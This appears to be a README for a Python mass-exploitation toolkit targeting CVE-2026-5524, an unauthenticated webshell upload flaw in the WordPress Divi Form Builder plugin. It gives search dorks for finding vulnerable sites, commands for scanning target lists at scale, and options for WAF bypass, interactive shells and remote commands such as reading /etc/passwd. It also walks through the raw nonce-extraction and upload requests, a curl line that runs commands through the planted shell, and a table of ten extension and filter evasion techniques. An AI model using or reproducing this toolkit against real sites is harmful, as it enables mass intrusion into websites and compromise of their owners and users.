
Python mass-exploit toolkit for CVE-2026-5524, an unauthenticated file upload RCE in the WordPress Divi Form Builder plugin, with webshell upload and command execution.
Mass exploit toolkit for CVE-2026-5524, an unauthenticated arbitrary file upload vulnerability in the WordPress plugin Divi Form Builder <= 5.1.8 leading to remote code execution.
| Field | Value |
|---|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (Critical) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Affected | Divi Form Builder <= 5.1.8 |
| Patched | 5.1.9 |
| Type | Unauthenticated File Upload to RCE |
| Researcher | 0xd4rk5id3 - EnvoraSec |
The Divi Form Builder plugin for WordPress contains an unauthenticated arbitrary file upload vulnerability. The do_image_upload() handler passes the user-controlled acceptFileTypes POST parameter directly into a regular expression used to validate file extensions. By supplying a value such as phtml, an attacker can bypass the plugin's .htaccess rule that only blocks the .php extension and upload a webshell with a PHP-executable extension (.phtml, .phar, .php5, .php7, and similar).
Once the file lands in /wp-content/uploads/de_fb_uploads/, Apache executes it as PHP, granting the attacker remote code execution as the web server user.
The issue is fixed in Divi Form Builder 5.1.9.
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
Requirements: Python 3.8 or newer on Linux, macOS, or WSL.
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
For targets behind a WAF (NinjaFirewall, Wordfence, ModSecurity) or with hardened Apache or nginx configuration.
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
After a successful upload, the script can immediately execute a command or drop into an interactive shell.
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
| Flag | Description |
|---|---|
-u URL | Single target URL |
-l FILE | File containing target list, one URL per line |
-t N | Number of concurrent threads (default 10) |
--timeout N | Request timeout in seconds (default 15) |
-o FILE | Save results to JSONL output file |
--proxy URL | Route traffic through HTTP proxy |
--nonce HASH | Use a manually provided nonce, skip autodetection |
--ext EXT | Force a single extension instead of the full bypass list |
--shell | Drop into interactive RCE shell on success (single target only) |
--cmd CMD | Execute one command on the target, then exit |
--shell-file FILE | Upload a custom shell payload instead of the built-in one |
--no-verify | Skip the post-upload RCE verification step |
--strict-verify | Confirm shell URL returns HTTP 200 to filter false positives |
--user-ini | Upload a .user.ini dropper for PHP-FPM environments |
--htaccess | Upload a .htaccess re-enabler for Apache environments |
--aggressive | Enable every available bypass technique |
--null-byte | Include null byte and double extension attempts |
--path-traversal | Try uploading to /uploads/YYYY/MM/ subdirectories |
--debug | Print raw HTTP responses for diagnosis |
The vulnerable handler constructs a regex from user input without sanitization.
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
By sending acceptFileTypes=phtml, the resulting regex /\.(phtml)$/i matches filenames ending in .phtml, even though the plugin's own .htaccess file only blocks the .php extension. Apache then executes the uploaded file as PHP, producing remote code execution.
Crawl a page that embeds a Divi Form Builder form (/, /contact, /quote, etc). Append a ?nocache=<random> parameter to defeat Varnish, WP Rocket, and other page caches that would otherwise serve a stale nonce.
Extract the fb_nonce value from the localised JavaScript object:
de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
POST a multipart form to /wp-admin/admin-ajax.php with:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
Read the file URL from the JSON response:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
Request the shell with a base64 encoded command:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
| # | Technique | Targets |
|---|---|---|
| 1 | Alternative PHP extensions .phtml, .phar, .php5, .php7, .php4, .pht, .shtml | Plugin .htaccess rule that only blocks .php |
| 2 | Case variation .PHTML, .PHP5, .PhTmL | Case-sensitive WAF signatures (NinjaFirewall) |
| 3 | Double extension .phtml.jpg, .php.jpg | Apache mod_mime content-negotiation quirks |
| 4 | Null byte .php%00.jpg, .phtml%00.txt | Old PHP versions (less than 5.3.4) and certain parsers |
| 5 | Trailing space or dot .php , .php. | Windows IIS and older Apache versions |
| 6 | Content-Type spoofing application/octet-stream | WAFs that key on the multipart Content-Type header |
| 7 | Upload a real .htaccess that re-enables PHP for .gif, .png, .jpg, .txt, .html, etc. | Apache servers with AllowOverride All |
| 8 | Upload a .user.ini with auto_prepend_file | PHP-FPM environments |
| 9 | Filename injection through multipart boundary manipulation | Proxies and WAFs that re-parse the request body |
| 10 | Path traversal ../shell.phtml in the filename | Plugin directory restrictions |
The script tries each technique in priority order and, when --aggressive is set, attempts every one even after the first upload reports success.